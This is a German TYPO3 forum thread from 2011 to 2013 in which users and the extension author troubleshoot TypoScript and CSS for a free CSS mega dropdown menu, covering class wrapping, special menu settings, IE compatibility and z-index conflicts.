Die Variable ist rein für das theme gedacht, also die Einstellungen die nicht Funktionell sind, wie Farbe usw.
Die funktionellen CSS Dateien werden durch "horizontal = 1" eingebunden.

Wichtig für ältere Browser (z.B. ie6) ist jquery und das zugehörige script, welches bei dir wahrscheinlich nicht mehr geladen wird, da du headerData mit einem cObject "TEXT" überschreibst. das ganze war eigentlich ein COA um beim ie < v7 jquery über conditions zu landen.

```typoscript
[browser = msie] AND [version = <7.0]
{$plugin.freeCssDropDownMenu.page}.headerData.{$plugin.freeCssDropDownMenu.headerDataId}.90 = TEXT
{$plugin.freeCssDropDownMenu.page}.headerData.{$plugin.freeCssDropDownMenu.headerDataId}.90.value (
	<script type="text/javascript" src="typo3conf/ext/freecssdropdownmenu/res/js/jquery/jquery.js"></script>
	<script type="text/javascript" src="typo3conf/ext/freecssdropdownmenu/res/js/jquery/jquery.dropdown.js"></script>
)
[end]
```

PS:
Sorry, ich komme nicht zum lesen der privaten Nachrichten... und bin eigentlich auch eher für die Veröffentlichung im Forum damit auch andere etwas davon haben.

### [#38](https://www.typo3.net/d/95921-typoscript-fuer-mega-dropdown-menu/38) · Dennis.​D · 2011-04-27

Hallo jank,

ich habe es mittlerweile hinbekommen dein Menü einzubauen! Vielen Dank noch mal dafür! Das sieht soweit schon recht gut aus.
Die Anforderung ist jetzt jedoch immer noch das Menü mit einem Bild zu erweitern und alle meine Versuche scheiterten bis jetzt kläglich.

So in der Art soll es nachher aussehen: <http://www.clinique.de/>
Also erst die mehrspaltige Navigation und darunter noch ein Container in dem ich ein Bild platzieren kann.
Kannst Du mir vllt irgendwie auf die Sprünge helfen wie man das umsetzen könnte?
Hatte an ein COA gedacht welches nach der Navi eingebunden wird und einen <div> Container drumherum wrappt.

```typoscript
temp.testnav = COA
# in subpart kopieren
temp.testnav.10 < plugin.freeCssDropDownMenu.horizontal

temp.testnav.10.special = list
temp.testnav.10.special.value = 2, 7, 8, 9, 10

# css class hinzufügen
temp.testnav.10.1.wrap = <ul class="dropdown dropdown-linear dropdown-columnar"> | </ul>

# 2. Level nicht verlinken wenn es unterseiten gibt
temp.testnav.10.2.IFSUB.doNotLinkIt = 1
#temp.testnav.10.2.1 = HTML
#temp.testnav.10.2.1.value = <div id="testnav"><img src="/xxx/xxx/xxx/xxx/img/logo_footer.png"></div>
#page.10.subparts.nav.3.wrap = <div id="testnav">|</div>

# 4. und 5. Menüebene löschen sonst zerreist es das menü...
temp.testnav.10.4 >
temp.testnav.10.5 >

#temp.testnav.20 = HTML
#temp.testnav.20.value = <div id="testnav"><img src="/xxx/xxx/files/xxx/logo_footer.png"></div>

page.10.subparts.nav < temp.testnav
```

Aber dieser Container wird nicht innerhalb der Navigation eingebunden.
Nicht nur ich wäre über jeden Hinweis dankbar!

Beste Grüße
Dennis

### [#39](https://www.typo3.net/d/95921-typoscript-fuer-mega-dropdown-menu/39) · jank · 2011-04-27

Ich bin momentan im Urlaub und kann erst wieder nächstes Wochenende danach schauen.
Falls ich es vergesse bitte nochmal schreiben.

### [#40](https://www.typo3.net/d/95921-typoscript-fuer-mega-dropdown-menu/40) · Dennis.​D · 2011-04-28

Moin jank,

vielen Dank schon mal! Und einen schönen Urlaub!

Bis dahin,
Dennis

### [#41](https://www.typo3.net/d/95921-typoscript-fuer-mega-dropdown-menu/41) · jank · 2011-05-01

Hallo Dennis,
ich habe mir deinen Beitrag nun in Ruhe durchlesen können.
Man kann aus einem Menülevel nicht einfach ein COA "machen".
Du kannst ein Menü in ein COA einfügen wie du es ja machst. Aber temp.testnav.10 bleibt dadurch immernoch ein HMENU und bringt auch nur die Eigenschaften vom HMENU>TMENU>TMENUITEM mit.
Die TSREF hilft dabei zu schauen was überhaupt für Eigenschaften für ein Element verfügbar sind.
[TSREF TMENUITEM](https://docs.typo3.org/m/typo3/reference-typoscript/main/en-us/ContentObjects/Hmenu/Tmenu/Index.html)

So damit genug geklugschei... :o

Ich würde das ganze über CSS lösen.
indem du jedem li element als zusätzliche class die PID mit gibst. dadurch kannst du jeden Menüpunkt anders stylen und auch ein Bild als Hintergrund verwenden. Wenn das Bild auch ein link sein soll geht das natürlich nicht...

```typoscript
temp.testnav.10.1.NO.wrapItemAndSub =  |*| <li class="{field:uid}"> | </li> |*| <li class="{field:uid} last"> | </li>
temp.testnav.10.1.NO.wrapItemAndSub.insertData = 1
```

```css
.3{
background-image: url(/fileadmin/template/img/m-footer.jpg)
background-repeat: no-repeat;
background-position: bottom;
padding-bottom: 30px; /*Bindhöhe als padding hinzufügen*/
}
```

Wenn das Bild ein Link sein soll, kann das mit befor/after gelöst werden... ein beispiel hierzu überleg ich wenn es sein muss ;)

### [#42](https://www.typo3.net/d/95921-typoscript-fuer-mega-dropdown-menu/42) · Dennis.​D · 2011-05-02

Hallo jank,

Du darfst gerne weiter "klugscheissen" ! :) Ich lerne und lerne...

Wenn ich es richtig verstandenen habe möchtest Du eine weitere?! oder überhaupt eine Klasse um das <li> in der letzten Ebene wrappen. Im Moment steht ja dort nur <li></li> ohne Klasse.
Dieser Klasse des <li> soll dynamisch die PID der Oberseite mitgegeben werden. Somit kann man diese über CSS, in Deinem Beispiel ".3" ansprechen?! Hab ich richtig verstanden, oder? :)

Wenn ich Dein TS ausprobiere passiert leider gar nichts. Hab es auch mal in dieser Form ausprobiert:

```typoscript
temp.testnav.10.1.NO.wrapItemAndSub =  |*| <li class="testli"> | </li> |*| <li class="testli last"> | </li>
```

Also ohne dynamische Übernahme einer PID. Auch da passiert leider nix.

DANKE!

### [#43](https://www.typo3.net/d/95921-typoscript-fuer-mega-dropdown-menu/43) · jank · 2011-05-02

Genau das war mein Gedanke.
Dadurch bekommt jeder Menü Eintrag eine CSS class entsprechend der Seiten ID.

Ich habe das TS bei mir ausprobiert <http://wiki.t3easy.de/>. da hat das soweit geklappt (zwar bei einem anderen Menü aber das Prinzip ist das selbe).
Das TS muss nach dem

```typoscript
temp.testnav.10 < plugin.freeCssDropDownMenu.horizontal
```

eingefügt werden, da sonst die Eigenschaften wieder überschrieben werden.

Kannst du einen Auszug aus dem TS schicken der das Menü betrifft?

### [#44](https://www.typo3.net/d/95921-typoscript-fuer-mega-dropdown-menu/44) · jank · 2011-05-02

hab gerade noch etwas gefunden...
du musst auch noch den Menüzustand IFSUB ändern; hab ich übersehen ;)

```typoscript
temp.testnav.10.1.NO.wrapItemAndSub =  |*| <li class="{field:uid}"> | </li> |*| <li class="{field:uid} last"> | </li>
temp.testnav.10.1.NO.wrapItemAndSub.insertData = 1
temp.testnav.10.1.IFSUB.wrapItemAndSub =  |*| <li class="{field:uid} dir"> | </li> |*| <li class="{field:uid} dir last"> | </li>
```

IFSUB ist eine Kopie von NO. Aber eben die Eigenschaft wrapItemAndSub wird überschrieben um die klasse dir hinzuzufügen.

### [#45](https://www.typo3.net/d/95921-typoscript-fuer-mega-dropdown-menu/45) · etux · 2011-05-02

Denkt bloß daran, dass der Name des class-Attributes nicht mit einer Zahl anfangen, bzw. nicht nur aus Zahlen bestehen darf - ist invalide und wird von keinem Browser (außer IE) verstanden

.

### [#46](https://www.typo3.net/d/95921-typoscript-fuer-mega-dropdown-menu/46) · jank · 2011-05-02

danke @ etux
Das wuste ich auch noch nicht hab es aber glaube ich auch noch nie exkt so versucht.

```typoscript
temp.testnav = COA
temp.testnav.10 < plugin.freeCssDropDownMenu.horizontal
temp.testnav.10.1.NO.wrapItemAndSub =  |*| <li class="id{field:uid}"> | </li> |*| <li class="id{field:uid} last"> | </li>
temp.testnav.10.1.NO.wrapItemAndSub.insertData = 1
temp.testnav.10.1.IFSUB.wrapItemAndSub =  |*| <li class="id{field:uid} dir"> | </li> |*| <li class="id{field:uid} dir last"> | </li>
```

```css
.id3{
background-image: url(/fileadmin/template/img/m-footer.jpg)
background-repeat: no-repeat;
background-position: bottom;
padding-bottom: 30px; /*Bindhöhe als padding hinzufügen*/
}
.idX{
....
}
```

### [#47](https://www.typo3.net/d/95921-typoscript-fuer-mega-dropdown-menu/47) · Dennis.​D · 2011-05-02

OK, hab die Zeilen mal hinzugefügt:

```typoscript
temp.testnav = COA

temp.testnav.10 < plugin.freeCssDropDownMenu.horizontal

temp.testnav.10.special = list
temp.testnav.10.special.value = 2, 7, 8, 9, 10

temp.testnav.10.1.wrap = <ul class="dropdown dropdown-linear dropdown-columnar"> | </ul>
temp.testnav.10.1.NO.wrapItemAndSub =  |*| <li class="id{field:uid}"> | </li> |*| <li class="id{field:uid} last"> | </li>
temp.testnav.10.1.NO.wrapItemAndSub.insertData = 1
temp.testnav.10.1.IFSUB.wrapItemAndSub =  |*| <li class="id{field:uid} dir"> | </li> |*| <li class="id{field:uid} dir last"> | </li>


temp.testnav.10.2.IFSUB.doNotLinkIt = 1

temp.testnav.10.4 >
temp.testnav.10.5 >

page.10.subparts.nav < temp.testnav
```

Nun steht im Quelltext folgendes:
<ul class="dropdown dropdown-linear dropdown-columnar"><li class="id{field:uid} dir">....

Da ich es nicht in der Ebene haben will, sondern in der 3. müsste das TS doch eigentlich so lauten oder?

```typoscript
temp.testnav.10.2.NO.wrapItemAndSub =  |*| <li class="id{field:uid}"> | </li> |*| <li class="id{field:uid} last"> | </li>
temp.testnav.10.2.NO.wrapItemAndSub.insertData = 1
temp.testnav.10.2.IFSUB.wrapItemAndSub =  |*| <li class="id{field:uid} dir"> | </li> |*| <li class="id{field:uid} dir last"> | </li>
```

Kann es sein dass ich das CSS nun einfach falsch anspreche?
.id3 {...}
"3" ist die ID der Oberseite.

### [#48](https://www.typo3.net/d/95921-typoscript-fuer-mega-dropdown-menu/48) · jank · 2011-05-02

Die Level 2 und 3 sind eine Kopie von Level 1.
Nur Änderungen werden neu deklariert.

Deswegen würde ich es bei der erste Ebene definieren.
Ob du die Klassen dort nutzt oder nicht ist ja egal.

Du möchtest ja, wie in dem beispiel von <http://www.lwis.net/free-css-drop-down-menu/dropdown.lwis.celebrity.horizontal.html> ein Menü haben.
CSS muss in dem Fall für die zweite Ebene getroffen werden, damit das Bild unter der Spalte zu sehen ist.

MErkwürdig ist, das bei dir im HTML Quelltext

```html
<li class="id{field:uid} dir">
```

vorkommt.
Das soll eigentlich durch das

```typoscript
insertData = 1
```

in die jeweilige pid/uid geändert werden.

Kannst du noch einen link auf die Seite schreiben?

### [#49](https://www.typo3.net/d/95921-typoscript-fuer-mega-dropdown-menu/49) · jank · 2011-05-02

warum verwerdest du

```typoscript
temp.testnav.10.special = list
temp.testnav.10.special.value = 2, 7, 8, 9, 10
```

Dadurch werden, dachte ich, kein ebenen erzeugt, sondern ein auf eine Ebene reduziertes menü der Seiten unter value?!

```typoscript
temp.testnav.10.special = directory
temp.testnav.10.special.value = (PID vom Elternteil)
```

nimmt die unterseiten mit...

### [#50](https://www.typo3.net/d/95921-typoscript-fuer-mega-dropdown-menu/50) · Dennis.​D · 2011-05-02

Also wenn ich es für die 2. Ebene definiere, also so:

```typoscript
temp.testnav.10.2.NO.wrapItemAndSub =  |*| <li class="id{field:uid}"> | </li> |*| <li class="id{field:uid} last"> | </li>
temp.testnav.10.2.NO.wrapItemAndSub.insertData = 1
temp.testnav.10.2.IFSUB.wrapItemAndSub =  |*| <li class="id{field:uid} dir"> | </li> |*| <li class="id{field:uid} dir last"> | </li>
```

Dann steht die jeweilige id im Quelltext: <li class="id17">

Hier mal der link zur Entwicklungsumgebung: <http://bike.diekavallerie.de.www68.your-server.de/produkte.html>

### [#51](https://www.typo3.net/d/95921-typoscript-fuer-mega-dropdown-menu/51) · jank · 2011-05-02

Wenn ich die Seite auf mach bekomm ich immernoch klassen ala id{field:uid}.
Hast du den cache aktiviert beim entwickeln??? wenn ja, schalt den beim entwickeln am besten ab...

```typoscript
config.no_cache = 1
```

Irgendwo wird beim kopieren das insertData verschluckt/überschrieben..
brauchst du das COA um das Menü herum?
Daran wird es zwar nicht liegen jedoch kann man das "säubern".
Du kannst auch mal in den Typoscript-Object-Browser drüber schauen... vielleicht sieht man da schon den Fehler...
Das Menü sollte im Object Browser etwa so wie im Anhang.

[Bild: \[upl-image-preview uuid=8298a406-ddfc-5f32-abd7-2834b2c83241 url=https://www.typo3.net/assets/files/typo3net/391-ts-object-browser2.jpg alt=ts-object-browser2.jpg thumbnail_url=https://www.typo3.net/assets/files/typo3net/391-ts-object-browser2.jpg\]](https://www.typo3.net/assets/files/typo3net/391-ts-object-browser2.jpg)

### [#52](https://www.typo3.net/d/95921-typoscript-fuer-mega-dropdown-menu/52) · jank · 2011-05-02

bzw. die Richtigen klassen werden bei allen Menüpunkten außer bei "Produkte" eingesetzt.

### [#53](https://www.typo3.net/d/95921-typoscript-fuer-mega-dropdown-menu/53) · Dennis.​D · 2011-05-03

Moin jank,
vielen Dank für Deine Geduld!

Warum die Klassen außer bei Produkten richtig gesetzt werden ist mir bis jetzt schleierhaft. Der Object Browser hilft mir da auch nicht weiter.

Unter Showroom: <http://bike.diekavallerie.de.www68.your-server.de/e-showroom.html>
wird nun zumindest mal ne Grafik angezeigt.. Aber diese soll sich nachher ja zwar innerhalb des Menü aber darunter befinden.. Mit padding oder margin komm ich da nicht weiter, die Grafik verschwindet dann aus der "Sichtweite"..
Meine Idee war ja am Anfang noch irgendwie ein weiteren <div> drum zu wrappen und den dann auszurichten. Total abwägig die Idee??

### [#54](https://www.typo3.net/d/95921-typoscript-fuer-mega-dropdown-menu/54) · jank · 2011-05-03

Ein div direkt innerhalb eines ul's ist meines Wissens nicht konform.
Außerdem weiß ich nicht wie sich das auf das restliche css auswirkt, da dann vermutlich die selectoren/klassen nicht mehr passen.
In Firebug sehe ich, dass alle Eigenschaften bis auf das padding angewendet werden. das padding wird von ul.dropdown li überschrieben.
Die Eigenschaft wird nicht angewendet, da die Datei in der Sie steht nicht als letztes sondern als 2. im header eingebunden wird. falls es nichts bringt die styles.css als letztes einzubinden würde ich es statt mit li.id11 mit
ul.dropdown li.id11 versuchen.

### [#55](https://www.typo3.net/d/95921-typoscript-fuer-mega-dropdown-menu/55) · etux · 2011-05-03

> **Dennis.D schrieb:**
>
> Unter Showroom: <http://bike.diekavallerie.de.www68.your-server.de/e-showroom.html>

@ Dennis.D

Ein wenig Off-Topic:

An Deiner Stelle würde ich erst mal ein Schritt zurück gehen und mich um das Grund-Layout kümmern.
Dein Layout bricht nur deshalb nicht aus einander (zumindest rein optisch), weil Du massenhaft Hohen angibst. Hohen-Angaben haben aber bei Elementen, die Text enthalten, nichts zu suchen.
Lesestoff:
<http://little-boxes.de/lb1/1-das-web-ist-nicht-aus-papier.html>
Die leere Elementen, die Du für die runden Ecken benutzest, haben keine semantische Bedeutung und sind völlig überflüssig - Du hast genügend Elementen, die die Ecken-Grafiken aufnehmen können.
Du schließt (beendest) die Floats nicht ein. Daher ist Dein Layout instabil (eigentlich eher zerschossen). Und das kannst Du leicht sehen, indem Du alle Hohen-Angaben entfernst.
Lesestoff:
 <http://little-boxes.de/lb1/IV-css-positionierung.html>

Deine Navigation habe ich mir nicht angesehen. Um da einzusteigen, müsste ich mir vielleicht mehrere Vorbeiträge anschauen und die TypoScript Konfiguration erst mal finden.
Leider habe ich die Zeit dafür nicht

.

### [#56](https://www.typo3.net/d/95921-typoscript-fuer-mega-dropdown-menu/56) · Dennis.​D · 2011-05-03

Hallo etux,

vielen Dank für Deine Hinweise. Ich werde mir insbesondere den 2. link von Dir mal genauer ansehen.
Das Template wurde mir so geliefert, das habe nicht ich erstellt.

Grüße
Dennis

### [#57](https://www.typo3.net/d/95921-typoscript-fuer-mega-dropdown-menu/57) · Dennis.​D · 2011-05-16

Hallo jank,

ich bin ein wenig weiter gekommen mit dem Menü. Hab aber immer noch zu kämpfen.. :(
Besonders die Sache mit den Bildern klappt noch gar nicht so wie ich mir das vorstelle.

<http://bike.diekavallerie.de.www68.your-server.de/>

Was ich grad nicht verstehe:
- wie bekomme ich für die Spalten eine feste Breite, so dass die Abstände zwischen den Spalten gleich breit sind und es zu keinem Umbruch bei den links kommt?
- die Unterseiten von "Produkte" "PG Bikes" sind etwas nach rechts eingerückt.
das kommt anscheinend von: ul.dropdown ul a aus der default.advanced.css. Komischerweise wrappt er bei dem letzten das "last" herum, obwohl ich es aus dem TypoScript mal entfernt habe?!

Besten Dank und Grüße
Dennis

### [#58](https://www.typo3.net/d/95921-typoscript-fuer-mega-dropdown-menu/58) · Nuern · 2011-05-16

Moin zusammen,

danke, dass es Leute gibt, die solche Ext. schreiben und dass auch noch darüber geschrieben wird.

Ich möchte mich garnicht lange aufhalten mit meinem Anliegen. Trotz der vielen gezeigten Beispiele bekomme ich das Menü nicht zum Laufen:

**1.** Die Extension habe ich bei den statischen Templates aufgenommen auf root-Ebene.

**2.** Die Konstanten habe ich auf root-Ebene hinzugefügt

```typoscript
plugin.freeCssDropDownMenu.themeCss =  typo3conf/ext/freecssdropdownmenu/res/css/dropdown/themes/_template/default.css
plugin.freeCssDropDownMenu.page =  page
plugin.freeCssDropDownMenu.headerDataId =  9876
plugin.freeCssDropDownMenu.horizontal =  1
plugin.freeCssDropDownMenu.horizontal.start =  2
plugin.freeCssDropDownMenu.horizontal.exclude  =
plugin.freeCssDropDownMenu.vertical = 0
plugin.freeCssDropDownMenu.vertical.start = 1
plugin.freeCssDropDownMenu.vertical.exclude =
```

**3.** Die CSS-Dateien wurden in den Header gepackt.

```typoscript
page.headerData.9876 = TEXT
page.headerData.9876.value (
<link rel="stylesheet" type="text/css" href="fileadmin/templates/freecssdropdownmenu/dropdown.css" media="all" />
<link rel="stylesheet" type="text/css" href="fileadmin/templates/freecssdropdownmenu/dropdown.linear.columnar.css" media="all" />
<link rel="stylesheet" type="text/css" href="fileadmin/templates/freecssdropdownmenu/lwis.celebrity/default.advanced.css"  media="all" />
)
```

**4.** Der Marker wird angesprochen.

```typoscript
page.20.marks {
    NAVI_TOP < plugin.freeCssDropDownMenu.horizontal
    NAVI_TOP {
      special = directory
      special.value = 2
    }
```

Die CSS-Dateien werden richtig ausgegeben. Der Marker verschwindet auch im Quelltext, wird also angesprochen. Das Problem liegt für mein Verständnis bei der Versorgung des Markers.

Sieht jemand einen Fehler in meiner Durchführung? #paralyzed#

Grüße,
Martin

***EDIT***

Das Problem hat sich erledigt. Hatte den Marker weiter unten nochmals überschrieben, deshalb kam kein Resultat zu stande... #angry#

### [#59](https://www.typo3.net/d/95921-typoscript-fuer-mega-dropdown-menu/59) · Nuern · 2011-05-27

Moin jank,

ich habe dein Menü soweit zum Laufen bekommen, ging ziemlich gut.

Kann es sein, dass unter der aktuellen Version einige Darstellungsprobleme vorliegen bezüglich des Internet Explorer (getestet unter 8 und 9)?

Nur bei diesem werden die untergeordneten Ebenen nicht angezeigt. Bei den anderen Browsern kein Problem.

Habe das ganze mit einer völlig nackten Typo3 4.5.2 probiert.

Vielleicht hast Du ja einen Tip woran das liegen könnte..

Danke für die Ext auf jeden Fall.

Gruß,
Maddin

### [#60](https://www.typo3.net/d/95921-typoscript-fuer-mega-dropdown-menu/60) · jank · 2011-05-31

Bis jetzt kann ich keine Probleme, weder mit IE 8 noch IE 9 ausmachen. Vielleicht läuft der Browser im Kompatibilitätsmodus ausgelöst durch einen falschen Doctype.
Im IE < 7 wird z.B. Javascript benötigt (jquery library + jquery.dropdown.js) welches aber höhere IE Versionen notfalls auch nicht stört.
Vielleicht gibt es auch probleme mit dem Restlichen Quelltext. Hier rate ich immer wieder zum [validieren](http://validator.w3.org/).

Es ist schwer zu sagen woran es liegt, ohne wenigstens Einblick in den HTML/CSS Quelltext und vielleicht Auszüge aus dem aktuellen TS.
Du hast keine URL gepostet...

PS: Aktuell ist Typo3 4.5.3, daran wird es aber nicht liegen.

### [#61](https://www.typo3.net/d/95921-typoscript-fuer-mega-dropdown-menu/61) · Nuern · 2011-05-31

Moin jank,

der Hinweis mit dem Doctype war der entscheidende. Vielen Dank!

Läuft super, Dein Menü.

Gruß,
Maddin

### [#62](https://www.typo3.net/d/95921-typoscript-fuer-mega-dropdown-menu/62) · jank · 2011-05-31

Das Lob gebürt nicht mir. Das CSS und JS Framework ist von <http://www.lwis.net/free-css-drop-down-menu/>.
Ich habe nur ein bischen Typoscript beigesteuert!
Der Autor freut sich bestimmt auch über einen netten Kommentar oder eine Spende...

### [#63](https://www.typo3.net/d/95921-typoscript-fuer-mega-dropdown-menu/63) · corona · 2011-07-04

Hallo zusammen,

ich habe ebenfalls die Extension nach langem Hin und Her und Dank dieses Forum eingebunden bekommen.

Ich hab das Theme lwis.celebrity gewählt.

Und die Untermenüs werden auch angezeigt. Allerdings habe ich das Problem, dass in der eigentlichen Menüleiste auch Unterpunkte angezeigt werden.

Meine Struktur sieht so aus:
- Home (Ebene 1)
- Über uns (Ebene 1)
   * Vorstand (Ebene 2)
   * Chronik (ebene 2)
usw.

Aber die Menü-Leiste, die man sieht (ohne ein MouseOver) beinhaltet alle diese Elemente.
Also nicht nur "Home" und "Über uns", sondern auch die Unterpunkte "Vorstand" und "Chronik".

Wie kann ich das umstellen?

Mein Setup:

```typoscript
plugin.freeCssDropDownMenu.horizontal = HMENU
plugin.freeCssDropDownMenu.horizontal {
	special = directory
	special.value = 56,57,58,59,60,61
	excludeUidList = 
	1 = TMENU
	1 {
		wrap = <ul class="dropdown dropdown-linear dropdown-columnar"> | </ul>
		expAll = 1
		noBlur = 1
		NO = 1
		NO {
			ATagTitle.field = abstract // description // subtitle // title
			wrapItemAndSub = |*| <li> | </li> |*| <li class="last"> | </li>
			stdWrap.htmlSpecialChars = 1
		}
		IFSUB < .NO
		IFSUB {
			wrapItemAndSub = |*| <li class="dir"> | </li> |*| <li class="dir last"> | </li>
		}
	}
	#2 < .1
	#2.wrap = <ul> | </ul>
	#3 < .2
	#4 < .2
	#5 < .2
}



# Default PAGE object:
page = PAGE
page {
	includeCSS.file001 = fileadmin/templates/tvz/css/tvz-template.css
	#includeCSS.file002 = typo3conf/ext/freecssdropdownmenu/res/css/dropdown/dropdown.css
	#includeCSS.file003 = typo3conf/ext/freecssdropdownmenu/res/css/dropdown/dropdown.vertical.css
	#includeCSS.file004 = typo3conf/ext/freecssdropdownmenu/res/css/dropdown.linear.columnar.css
	includeCSS.file005 = fileadmin/templates/megadropdown/default.advanced.css
	#includeJS.file011 = typo3conf/ext/freecssdropdownmenu/res/js/jquery/jquery.dropdown.js
	#includeJS.file012 = typo3conf/ext/freecssdropdownmenu/res/js/jquery/jquery.js

}

page.10 = TEMPLATE
page.10 {
	template = FILE
	template.file = fileadmin/templates/tvz/tvz-template.html
	workOnSubpart = DOCUMENT
	subparts {
		MENU_TOP < plugin.freeCssDropDownMenu.horizontal
	}

	marks {
		MENU_LEFT < plugin.freeCssDropDownMenu.horizontal
		MAIN_CONTENT < styles.content.get
	}
}
```

Und als Konstanten nur:

```typoscript
plugin.freeCssDropDownMenu.themeCss = fileadmin\templates\megadropdown\default.advanced.css
```

### [#64](https://www.typo3.net/d/95921-typoscript-fuer-mega-dropdown-menu/64) · jank · 2011-07-04

Kann es sein, dass:
* Vorstand (Ebene 2)
* Chronik (ebene 2)
eine von den uid's haben?

```typoscript
special.value = 56,57,58,59,60,61
```

bei

```typoscript
special = directory
special.value = 1
```

dürfen nur es nur die IDs von den Oberseiten sein.

### [#65](https://www.typo3.net/d/95921-typoscript-fuer-mega-dropdown-menu/65) · corona · 2011-07-04

Danke.
Das war zu einfach ;)

Mal eine andere Frage. Ist es auch möglich ein anderes Theme mit dem MegaDropDown darzustellen? Also wie bei dem lwis.celebrity, dass sich die Unterseiten nicht einzeln aufmachen, sondern bei MouseOver über den obersten Menüpunkt, man direkt zB 2 Spalten sieht mit den UNterpunkten und Unterunterpunkten? Oder muss ich dann das celebrity umwurschteln?

Also gibts einen Parameter der vllt einfahc nur gesetzt werden muss oder so?

### [#66](https://www.typo3.net/d/95921-typoscript-fuer-mega-dropdown-menu/66) · bagstage · 2012-07-09

Hallo,

wir haben die extension auch testweise eingebaut - soweit klappt auch alles - nur eines: ich möchte im menü untermenüs z.b. bis zur 2ten oder 3ten seitenebene anzeigen - wie geht das?

### [#67](https://www.typo3.net/d/95921-typoscript-fuer-mega-dropdown-menu/67) · lidahilfe · 2013-06-13

Hallo,

ich versuche bislang erfolglos das **lwis.celebrity -Menü** einzusetzen. Es sollte so wie im Original funktionieren - mehrere Listen nebeneinander. Ich habe folgendes im Haupttemplate zu stehen:

```typoscript
Constants:
plugin.freeCssDropDownMenu.page = page
plugin.freeCssDropDownMenu.headerDataId = 9876
plugin.freeCssDropDownMenu.horizontal = 1
plugin.freeCssDropDownMenu.horizontal.start = 2
plugin.freeCssDropDownMenu.horizontal.exclude =
plugin.freeCssDropDownMenu.vertical = 0 
plugin.freeCssDropDownMenu.vertical.start = 2 
plugin.freeCssDropDownMenu.vertical.exclude = 

Setup:
includeCSS {
            file1 = {$style}
            file1233 = fileadmin/templates/css-images/dropdown.css 
            file1234 = fileadmin/templates/css-images/dropdown.linear.columnar.css
            file1235 = fileadmin/templates/css-images/default.advanced.css          
            }

10.marks.HAUPTNAV = COA
10.marks.HAUPTNAV.10  < plugin.freeCssDropDownMenu.horizontal
10.marks.HAUPTNAV.10.1.wrap = <ul class="dropdown dropdown-linear dropdown-columnar"> | </ul>
10.marks.HAUPTNAV.10.1.IFSUB.doNotLinkIt = 1
10.marks.HAUPTNAV.10.2.IFSUB.doNotLinkIt = 1
10.marks.HAUPTNAV.10.2.entryLevel = 1
10.marks.HAUPTNAV.10.2.expAll = 1
```

Allerdings stellt sich das Menü noch <http://venter2013.de.server791-han.de-nserver.de/index.php?id=3> dar also die Listen werden nicht nebeneinander sondern untereinandergesetzt...:

Ist hier noch Typoscript nötig oder habe ich auch ein Problem mit der Verwendung der css-Files?

VG Jens

### [#68](https://www.typo3.net/d/95921-typoscript-fuer-mega-dropdown-menu/68) · Unbekannter Benutzer · 2013-11-09

Hallo Forum,

ich habe das cssdropdownmenu dank dieser Posts hier und mit viel Geduld und Spucke (bin Anfängerin) auf meiner Seite www.allesneu.wanderreiter-magazin.de umgesetzt. Nun habe ich nur noch ein Problem damit: Öffne ich ein Bild in der Perfectlightbox liegt dieses Bild unter dem Menü. Ein Beispiel könnt Ihr hier anschauen (einfach das untere kleine Bild anklicken): <http://www.allesneu.wanderreiter-magazin.de/gastgeber/alice-en-selle-wanderreiten-in-den-nordvogesen-elsass.html>

Wie kann ich die Reihenfolge der Ebenen, sowas scheint es mir jedenfalls zu sein, ändern?

Vielen Dank vorab!

Heike

### [#69](https://www.typo3.net/d/95921-typoscript-fuer-mega-dropdown-menu/69) · jenses · 2013-11-11

z-index
für sbOverlay z.B. 900, für sbCenter z.B. 1000

### [#70](https://www.typo3.net/d/95921-typoscript-fuer-mega-dropdown-menu/70) · Unbekannter Benutzer · 2013-11-14

Hallo jenses,

klasse und vielen Dank!! Jetzt funktioniert es!

---

Quelle: „Typoscript für Mega Dropdown Menu“, typo3.net, https://www.typo3.net/d/95921-typoscript-fuer-mega-dropdown-menu
Beiträge von Mitgliedern des Forums. Bitte mit Link auf die Diskussion zitieren.